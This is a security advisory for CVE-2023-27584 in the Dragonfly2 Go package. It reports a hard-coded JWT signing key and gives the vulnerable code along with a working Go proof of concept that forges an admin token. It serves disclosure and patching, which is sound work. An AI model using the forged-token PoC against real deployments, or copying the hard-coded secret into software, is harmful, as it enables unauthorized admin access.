GHSA-hpc8-7wpm-889w

Suggest an improvement
Source
https://github.com/advisories/GHSA-hpc8-7wpm-889w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/09/GHSA-hpc8-7wpm-889w/GHSA-hpc8-7wpm-889w.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hpc8-7wpm-889w
Aliases
  • CVE-2023-27584
Published
2024-09-19T14:47:36Z
Modified
2024-09-19T15:12:53.776359Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Dragonfly2 has hard coded cyptographic key
Details

Summary

Hello dragonfly maintainer team, I would like to report a security issue concerning your JWT feature.

Details

Dragonfly uses JWT to verify user. However, the secret key for JWT, "Secret Key", is hard coded, which leads to authentication bypass

authMiddleware, err := jwt.New(&jwt.GinJWTMiddleware{
        Realm:       "Dragonfly",
        Key:         []byte("Secret Key"),
        Timeout:     2 * 24 * time.Hour,
        MaxRefresh:  2 * 24 * time.Hour,
        IdentityKey: identityKey,

        IdentityHandler: func(c *gin.Context) any {
            claims := jwt.ExtractClaims(c)

            id, ok := claims[identityKey]
            if !ok {
                c.JSON(http.StatusUnauthorized, gin.H{
                    "message": "Unavailable token: require user id",
                })
                c.Abort()
                return nil
            }

            c.Set("id", id)
            return id
        })

PoC

Use code below to generate a jwt token

package main

import (
    "errors"
    "fmt"
    "time"

    "github.com/golang-jwt/jwt/v4"
)

func (stc *DragonflyTokenClaims) Valid() error {
    // Verify expiry.
    if stc.ExpiresAt <= time.Now().UTC().Unix() {
        vErr := new(jwt.ValidationError)
        vErr.Inner = errors.New("Token is expired")
        vErr.Errors |= jwt.ValidationErrorExpired
        return vErr
    }
    return nil
}

type DragonflyTokenClaims struct {
    Id        int32 `json:"id,omitempty"`
    ExpiresAt int64 `json:"exp,omitempty"`
    Issue     int64 `json:"orig_iat,omitempty"`
}

func main() {
    signingKey := "Secret Key"
    token := jwt.NewWithClaims(jwt.SigningMethodHS256, &DragonflyTokenClaims{
        ExpiresAt: time.Now().Add(time.Hour).Unix(),
        Id:        1,
        Issue:     time.Now().Unix(),
    })
    signedToken, _ := token.SignedString([]byte(signingKey))
    fmt.Println(signedToken)
}

And send request with JWT above , you can still get data without restriction. <img width="1241" alt="image" src="https://user-images.githubusercontent.com/70683161/224255896-8604fa70-5846-4fa0-b1f9-db264c5865fe.png">

Impact

An attacker can perform any action as a user with admin privileges.

References

Affected packages

Go / d7y.io/dragonfly/v2

Package

Name
d7y.io/dragonfly/v2
View open source insights on deps.dev
Purl
pkg:golang/d7y.io/dragonfly/v2

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.1.0-beta.1